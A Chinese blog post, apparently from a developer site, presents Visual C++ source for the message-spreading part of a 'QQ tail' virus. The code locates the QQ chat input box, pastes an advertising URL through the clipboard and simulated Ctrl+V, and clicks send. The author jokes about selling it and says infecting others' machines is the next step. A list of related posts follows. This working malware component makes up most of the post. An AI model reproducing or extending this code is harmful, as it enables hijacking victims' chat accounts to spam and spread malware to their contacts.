闲来无事,想研究一下QQ尾巴病毒,呵呵,有谁要,50块一个卖了,这下发达了(跟制作熊猫烧香的人学的) @@||

记得刚毕业的时候写过qq炸弹程序,原理跟qq尾巴病毒差不多,无非是查找到输入框和发送按牛的句柄;然后发送windows消息即可,只是qq2006开始屏蔽掉了richedit的settext past等等消息,所以之前采用的发送settext消息的方法已经不管用了,所以只好发送键盘事件了。

大致流程:查找输入框,粘贴文本,然后发送单击 发送按牛事件。

char  strClassName[ 256 ];
    ::GetClassName(GetForegroundWindow(), strClassName,  255 );
    CString clsname;
    clsname.Format(_T( " %s " ),strClassName); 

     // HWND hNMMainWnd = FindWindowEx(NULL, NULL,"#32770","与 永远的黑山 聊天中");
     // hNMMainWnd = FindWindowEx(hNMMainWnd, NULL,"RICHEDIT",NULL);
     // 如果当前窗口为活动窗口时;
     if (clsname  ==   " #32770 " ) ... {
        HWND hNMMainWnd = GetForegroundWindow();
        if(IsWindow(hNMMainWnd))  
        ...{
            //EnumChildWindows(hNMMainWnd,MyEnumChildProc,NULL); 
            //hNMMainWnd = FindWindowEx(hNMMainWnd, NULL, NULL,NULL);
            //printf("111111");
            //char strClassName[256];
            //::GetClassName(hNMMainWnd, strClassName, 255);
            //printf(strClassName);  
            
            //第一次查找粘贴文本;
            EnumChildWindows(hNMMainWnd,MyEnumChildProc1,NULL); 
            Sleep(100);
            //第二次查找发送出去;
            EnumChildWindows(hNMMainWnd,MyEnumChildProc2,NULL); 
        }
    }

BOOL CALLBACK My::MyEnumChildProc1(HWND   hwndChild,   LPARAM   lParam)
   ... {   
    
     
      //HWND iNMMainWnd=  FindWindowEx(hwndChild, NULL, NULL, NULL); 
      //if(IsWindow(iNMMainWnd))   
      //{
      //EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);   
      //} 
      TCHAR   szWndTitle[1024];  
      //int nLen = 0;
      int   nLen   =   GetWindowText(hwndChild,   szWndTitle,   1024);

      ::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
      CString title;
      CString classname;
      title.Format(_T("%s"),szWndTitle); 
    
      if(title == "发送(&S)")...{
        //::SendMessage(hwndChild,BM_CLICK,0,0);
        //printf("--------->click");
      }
     
      char strClassName[256];
      ::GetClassName(hwndChild, strClassName, 255);
      printf(strClassName); 
      classname.Format(_T("%s"),strClassName);
      if(title == "" && classname == "RichEdit20A")...{
          printf("--------->set text");
          //::PostMessage(hwndChild,WM_CHAR,'中',0);
           //发送组合键;ctrl+v 
          setMSG(hwndChild);
          //设置焦点;
          SetFocus(hwndChild);

          keybd_event(VK_CONTROL,0,0,0);   
          keybd_event('V',0,0,0);   
          keybd_event('V',0,KEYEVENTF_KEYUP,0);   
          keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);  
          return FALSE;
      }
      printf(szWndTitle);   
      printf(" ");  
      //EnumChildWindows(hwndChild,MyEnumChildProc,NULL); 
      return   TRUE;   
}



BOOL CALLBACK My::MyEnumChildProc2(HWND   hwndChild,   LPARAM   lParam)
   ... {   
    
     
      //HWND iNMMainWnd=  FindWindowEx(hwndChild, NULL, NULL, NULL); 
      //if(IsWindow(iNMMainWnd))   
      //{
      //EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);   
      //} 
      TCHAR   szWndTitle[1024];  
      //int nLen = 0;
      int   nLen   =   GetWindowText(hwndChild,   szWndTitle,   1024);

      ::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
      CString title;
      CString classname;
      title.Format(_T("%s"),szWndTitle); 
    
      if(title == "发送(&S)")...{
        ::SendMessage(hwndChild,BM_CLICK,0,0);
        printf("--------->click");
        return FALSE;
      }
     
      char strClassName[256];
      ::GetClassName(hwndChild, strClassName, 255);
      printf(strClassName); 
      classname.Format(_T("%s"),strClassName);
      if(title == "" && classname == "RichEdit20A")...{
        //printf("--------->set text");
          //::PostMessage(hwndChild,WM_CHAR,'中',0);
           //发送组合键;ctrl+v 
          //setMSG(hwndChild);
          //keybd_event(VK_CONTROL,0,0,0);   
          //keybd_event('V',0,0,0);   
          //keybd_event('V',0,KEYEVENTF_KEYUP,0);   
          //keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);  

      }
      //printf(szWndTitle);   
      //printf(" ");  
      //EnumChildWindows(hwndChild,MyEnumChildProc,NULL); 
      return   TRUE;   
}


void  My::setMSG(HWND   hwnd) ... {
    CString msg = "欢迎访问黑芝麻网 http://www.heizm.com";
    if(::OpenClipboard(hwnd))
    ...{
        HGLOBAL clipbuffer;
        char * buffer;
        EmptyClipboard();
        clipbuffer = GlobalAlloc(GMEM_DDESHARE, msg.GetLength()+1);
        buffer = (char*)GlobalLock(clipbuffer);
        ::strcpy(buffer, LPCSTR(msg));
        GlobalUnlock(clipbuffer);
        SetClipboardData(CF_TEXT,clipbuffer);
        CloseClipboard();
    }
}

到现在为止,已经解决了如何自动发送尾巴的程序。

那么接下去就是怎么去感染人家的电脑了,靠,太不人道了,回头继续研究。

QQ2007尾巴病毒实现(一)相关推荐

  1. QQ尾巴病毒的Visual C++实现探讨

    QQ尾巴病毒的Visual C++实现探讨 自2003起,QQ尾巴病毒可以算是风光了一阵子.它利用IE的邮件头漏洞在QQ上疯狂传播.中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内 ...

  2. “QQ尾巴病毒”核心技术的实现

    "QQ尾巴病毒"核心技术的实现 声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何破坏. 2003这一年里,QQ尾巴病毒可以算是风光了一阵子.它利用IE的邮件头漏洞在QQ上 ...

  3. QQ尾巴病毒仿真(转)

    自2003起,QQ尾巴病毒可以算是风光了一阵子.它利用IE的邮件头漏洞在QQ上疯狂传播.中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句 ...

  4. QQ尾巴病毒的发送原理分析

    近来QQ尾巴病毒大肆发作,我也是经常收到网友们发到来的带尾巴的消息,于是,好奇心一来,我也来研究研究此病毒的发作原理.首先,我不知道QQ尾巴病毒真正的原理,我只是猜测并且自己写了一个类似的程序来实现它 ...

  5. QQ尾巴病毒 VC

    前一段时间在病毒源代码的博客上看到了QQ尾巴病毒的原理,他的博客确实不错,有很多这方面的东西.不过他是用VB或者DELPHI写的(区分不清,呵呵),而且感觉他写得有点乱,可能我习惯看C格式的代码吧.最 ...

  6. 《“QQ尾巴病毒”核心技术的实现》日文版

    "QQ尾のウィルス"の核心の技術の実現 声明:本文は探求の技術を目指して.読者に文章の中の方法を使っていかなる破壊を行ってないでくたさいもらう. 2003この年の中で.QQ尾のウィ ...

  7. 熊猫烧香病毒背后的***社会

    通过"江湖传言"得知,在一个庞大的犯罪链条中,处于利润最丰厚环节的"老板"远在上海,他可能通过比"熊猫烧香"隐蔽得多的病毒,或者是其他不为外 ...

  8. 一搜◎欢乐搜索 变相滋生垃圾邮件与病毒

       有句老话叫"重赏之下必有勇夫",当你收到大量的""恭喜!你中了一张免费抽奖彩票!","送你免费彩票一张,奖品为:价值2500元的手机& ...

  9. 北京喜意来误请“熊猫烧香”骗子团伙“毒王”解决password01.txt.shs病毒(图)

    北京喜意来误请"熊猫烧香"骗子团伙"毒王"解决password01.txt.shs病毒 2007年9月24日,仙桃市人民法院对被告人李俊.王磊.张顺.雷磊4人予 ...

最新文章

  1. “allegro中焊盘的设置”收藏
  2. Apache用户目录枚举工具apache-users
  3. mysql改存储引擎教程_MySQL中修改数据表存储引擎的三种方法
  4. 黑马vue---10-11、Vue实现跑马灯效果
  5. 计算器界面分析及界面程序实现
  6. VScode设置中文
  7. PHP的define与const
  8. 【目录】shell 编程-xyq
  9. Java里的稀疏矩阵Sparse Array
  10. luogu P1762 偶数
  11. Docker容器真的安全吗?
  12. 编译Android源码相关资源及文章
  13. 539.最小时间差-LeetCode
  14. C语言工程实践--物业费管理系统
  15. Epub2基础知识介绍
  16. Learning the Model Update for Siamese Trackers学习笔记
  17. 2014大众点评Hackathon参赛感想
  18. python语言中整数1010的二进制、八进制_C语言中的二进制数、八进制数和十六进制数...
  19. day12-HTML、CSS与blog页面讲解
  20. extJs 2.0学习笔记(Ext.Panel篇四)

热门文章

  1. PB中设置各种窗口风格的API
  2. wp网站怎么搬家服务器,蓝色早晨-UED | WordPress搬家完整详细教程及换域名
  3. 考试酷解析——A1_Varieble Names
  4. Express的详细教程
  5. 在ie直接打开word/excel文件(转贴)
  6. latex参考文献为网址
  7. java String计算MD5的三种方法以及文件计算MD5的方法
  8. shell实例100例《七》
  9. C Sharp进行全站仪的圆曲线整桩位计算
  10. C++牛顿迭代法求根,用递归方法实现分析及代码